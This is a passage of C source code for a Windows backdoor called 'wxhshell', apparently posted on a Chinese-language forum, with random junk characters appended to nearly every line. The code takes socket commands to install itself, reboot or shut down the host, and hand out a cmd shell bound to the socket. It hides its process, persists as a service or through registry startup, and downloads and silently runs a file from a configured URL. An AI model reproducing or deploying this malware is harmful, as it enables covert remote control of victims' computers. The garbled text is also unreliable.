  else mtn^+*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "k{so',7z  
  }  X0$q !  
  else { .kn2M&P>=  
T<? kH  
    switch(cmd[0]) { Lhe&  
  .g\Oj0Cbxh  
  // 帮助 6$'*MpYF4  
  case '?': { |iUC\F=-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *X2PT(e[  
    break; l:uQ#Z)  
  } $sE=[j'v  
  // 安装 F P|cA^$<  
  case 'i': { yNP4Ey  
    if(Install()) ^-[ I;P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }^ ,D~b-nB  
    else wCruj`$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n$r`s`}  
    break; t'@mUX:-A  
    } d(d<@cB9  
  // 卸载 k:R\;l5  
  case 'r': { Ez5t)l-  
    if(Uninstall()) }6/M5zF3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -P/DmSS8V  
    else X3 kFJ{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jYRSV7d  
    break; hRu}P"  
    } 5P"R'/[PA_  
  // 显示 wxhshell 所在路径 aSX4~UYB=  
  case 'p': { WcNQF!f  
    char svExeFile[MAX_PATH]; Babzrt-  
    strcpy(svExeFile,"\n\r"); ,.cR@5qI  
      strcat(svExeFile,ExeFile); c]aU}[s1  
        send(wsh,svExeFile,strlen(svExeFile),0); m{ !$_z8:  
    break; pF-_yyQ  
    } 4=Ru{ewRV  
  // 重启 T :X*  
  case 'b': { az0=jou<Zl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E OXkMr  
    if(Boot(REBOOT)) ?4/pE@RIy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vu\W5M  
    else { $Z#~wsw  
    closesocket(wsh); _uMG?Sbx  
    ExitThread(0); 1LRP R@b^  
    } Yz_}*  
    break; >,]a>V  
    } l! 88|~  
  // 关机 9u{[e"  
  case 'd': { :p/=KI_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q!@M/@-Ky  
    if(Boot(SHUTDOWN)) B]G2P`sN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+n#CWZ"Y  
    else { fGlvum  
    closesocket(wsh); \#:  W  
    ExitThread(0); pxTtV g.  
    } K $- *  
    break; #C&';HB;y  
    } l%"DeRp,/  
  // 获取shell O|8@cO  
  case 's': { *P=3Pl?j  
    CmdShell(wsh); [S,$E6&j$"  
    closesocket(wsh); 5tbCx!tL  
    ExitThread(0); 94#,dA,M  
    break; K-TsSW$}  
  } ,FzkGB#  
  // 退出 ojnO69v  
  case 'x': { auK9wQ%\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q@bye4Ry%W  
    CloseIt(wsh); mc?IM(t  
    break; h#r~2\q4ei  
    } erEB4q+ #O  
  // 离开 >o1dc*  
  case 'q': { d9v66mpJM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |hika`35K  
    closesocket(wsh); P-4$Qksx  
    WSACleanup(); 3(V0,L'1  
    exit(1); EO)JMV?6  
    break; >B0AJW/u  
        } zb9G&'7  
  } Zo&i0%S\E  
  } MN2i0!+  
=|E "  
  // 提示信息 Y`j$7!j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c rb^TuN  
} i0{\c}r:4b  
  } "ZGP,=?y2  
8C*@d_=q  
  return; USyc D`  
} ~ q-Z-MA  
I+kAy;2  
// shell模块句柄 t7-]OY7%w_  
int CmdShell(SOCKET sock) G%bv<_R  
{ 9{;L7`<  
STARTUPINFO si; gvT}UNqL  
ZeroMemory(&si,sizeof(si)); 3!p`5hJd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n%F _ 3`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hdew5Xn(:  
PROCESS_INFORMATION ProcessInfo; HN5661;8  
char cmdline[]="cmd"; 5]dlD #  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {4 Yx h8  
  return 0; O+o)z6(  
} DK?aFSf\  
aDRcVA$*  
// 自身启动模式 phu,&DS!  
int StartFromService(void) &q<k0_5Q  
{ z9S (<  
typedef struct e}?Q&Lci  
{ *?t$Q|2Xr  
  DWORD ExitStatus; (y]Z*p:EW  
  DWORD PebBaseAddress; nIg 88*6b,  
  DWORD AffinityMask; ;iiCay37F  
  DWORD BasePriority; @!OXLM   
  ULONG UniqueProcessId; L/jaUt[,  
  ULONG InheritedFromUniqueProcessId; l-%] f]>  
}   PROCESS_BASIC_INFORMATION; Fqw4XR_`~  
&YY`XEG59O  
PROCNTQSIP NtQueryInformationProcess; VVSt,/SO  
i+O7,"(@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2om:S+3)2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )$S=iL8(  
4E.9CjN1>  
  HANDLE             hProcess; 5c::U=  
  PROCESS_BASIC_INFORMATION pbi; X?t;uZI^  
+ytP5K7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f\oW<2k]~  
  if(NULL == hInst ) return 0; 'zm5wqrkAd  
|^Y"*Y4*h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y]yl7g =~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  p[P# !  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "yQBHYP  
;&=jSgr8  
  if (!NtQueryInformationProcess) return 0; ~NIhS!  
.Qrpz^wdt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .;7V]B1o  
  if(!hProcess) return 0; fd *XK/h  
BO*)cLQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; < +*  
i_N8)Z;r  
  CloseHandle(hProcess); "mBM<rEn*  
FUL3@Gb$UV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H8w[{'Mei  
if(hProcess==NULL) return 0; [w<_Wj  
`_cv& "K9f  
HMODULE hMod; -sA&1n"W&5  
char procName[255]; VLm\PS   
unsigned long cbNeeded; ~4+Y BN  
1"CWEL`i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]8%E'd  
1_{e*=/y  
  CloseHandle(hProcess); RTlC]`IGT  
wzy[sB274  
if(strstr(procName,"services")) return 1; // 以服务启动 T`@brL  
_}[WX[Le{  
  return 0; // 注册表启动 Kkq-x'gt^  
} wA$?e}  
I<RARB-j  
// 主模块 :"# "{P  
int StartWxhshell(LPSTR lpCmdLine) xKE=$SV(  
{ fSd|6iFH  
  SOCKET wsl; KC}G_"f.$  
BOOL val=TRUE; h'S0XU ;  
  int port=0; Mw,]Pt6~i  
  struct sockaddr_in door; bp'%UgA)1  
dCM &Yf}K  
  if(wscfg.ws_autoins) Install(); %iNgHoH  
cr-5t4<jK  
port=atoi(lpCmdLine); ^@/wXj:  
`\(co;:  
if(port<=0) port=wscfg.ws_port; %1p-DX6  
9~=zD9,|iA  
  WSADATA data; `#iL'ND[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 !:2:  
Eg1TF oIWl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #tg\ bb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dn<3#V  
  door.sin_family = AF_INET; rr,A Vw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5D<Zbn.>q  
  door.sin_port = htons(port); FWeUZI+  
tt-ci,X+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DXD+,y\=  
closesocket(wsl); \YJQN3^46>  
return 1; 0;LF>+fJ  
} h{"SV*Xpk/  
`vzMuL;  
  if(listen(wsl,2) == INVALID_SOCKET) { IR3SP[K"  
closesocket(wsl); PdVY tK%  
return 1; Ndl{f=sjX-  
} .s"Og;g  
  Wxhshell(wsl); lFf>z}eLy  
  WSACleanup(); ?4wl  
{9;-5@b  
return 0; I/upiqy  
TR*vZzoy  
} :55a9d1bL  
&Oz  
// 以NT服务方式启动 0VQBm^$(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A#']e8  
{ }s?w-u+(c6  
DWORD   status = 0; }9U_4k  
  DWORD   specificError = 0xfffffff; fz VN;h  
/+B6oE>8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2A|mXWG}~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )$1j"mV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }LS.bQKqi,  
  serviceStatus.dwWin32ExitCode     = 0; 9a@S^B>  
  serviceStatus.dwServiceSpecificExitCode = 0; ,_V/W'  
  serviceStatus.dwCheckPoint       = 0; I+W,%)vb  
  serviceStatus.dwWaitHint       = 0; 7g Ou|t  
)(.g~Q:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2h<_?GM\s  
  if (hServiceStatusHandle==0) return; -#;ZZ \fdj  
yYe>a^r4R  
status = GetLastError(); JXww_e[  
  if (status!=NO_ERROR) 1NZpd'$c  
{ h5@7@w%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vMX\q  
    serviceStatus.dwCheckPoint       = 0; `=V1w4J  
    serviceStatus.dwWaitHint       = 0; {=Ji2k0U'  
    serviceStatus.dwWin32ExitCode     = status; 3NZK$d=4  
    serviceStatus.dwServiceSpecificExitCode = specificError; -;6uN\gq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \I6F;G6  
    return; "ivVIq2  
  } je#LD  
ZvXw#0)v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;[Xf@xf  
  serviceStatus.dwCheckPoint       = 0; N&G(`]  
  serviceStatus.dwWaitHint       = 0; *'-C/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;){ZM,Ox  
} |'o<w ]hc  
Z/GSR$@lI  
// 处理NT服务事件,比如:启动、停止 O 1X)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vd^Z^cpi p  
{ 6 3PV R"  
switch(fdwControl) MUtM^uY  
{ D8B\F5..c#  
case SERVICE_CONTROL_STOP: WSU/Z[\`H  
  serviceStatus.dwWin32ExitCode = 0; d6m&nj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {@x-T  
  serviceStatus.dwCheckPoint   = 0; .2rpQa/h  
  serviceStatus.dwWaitHint     = 0; RxPD44jVA  
  { p}I\H ^"8+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *GhV1# <  
  }  L`Ys`7  
  return; i 8cmT+}>  
case SERVICE_CONTROL_PAUSE: M $EHx[*5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %/nDG9l  
  break; it>l?h7I  
case SERVICE_CONTROL_CONTINUE: >x~Qa@s;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Q%nnN  
  break; hCX/k<}I  
case SERVICE_CONTROL_INTERROGATE: 3T 0'zJ2f  
  break; #IqRu:csp  
}; % bdBg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !-SI &qy  
} e!w{ap8u  
K-c>J uv&,  
// 标准应用程序主函数 sQr M"i0Y>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sy*p6DP  
{ c&<Ei1  
<ZO+e*4  
// 获取操作系统版本 X$%W&:  
OsIsNt=GetOsVer(); }U}ppq0Eo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G_k_qP^:  
w:1UwgcPC  
  // 从命令行安装 931GJA~g  
  if(strpbrk(lpCmdLine,"iI")) Install(); i}|jHlv  
66MUrNW  
  // 下载执行文件 SFEDR?s   
if(wscfg.ws_downexe) { m("KLp8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  = ~*Vfx  
  WinExec(wscfg.ws_filenam,SW_HIDE); r0\C2g_X  
} Ak}`zIo  
~xJr|_,gp  
if(!OsIsNt) { pgv, Su  
// 如果时win9x,隐藏进程并且设置为注册表启动 9A`^ (  
HideProc(); egWfKL&iy  
StartWxhshell(lpCmdLine); %bG\  
} y<BG-  
else #rz!d/)Q  
  if(StartFromService()) O2lM;="  
  // 以服务方式启动 T$DFTr\\  
  StartServiceCtrlDispatcher(DispatchTable); i8*(J-M  
else m.5@q mQ  
  // 普通方式启动 %r(qQM.Pl  
  StartWxhshell(lpCmdLine); B" ]a8}u  
G 40  
return 0; (K ]wk9a  
}
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只看该作者 1 发表于: 2006-10-10
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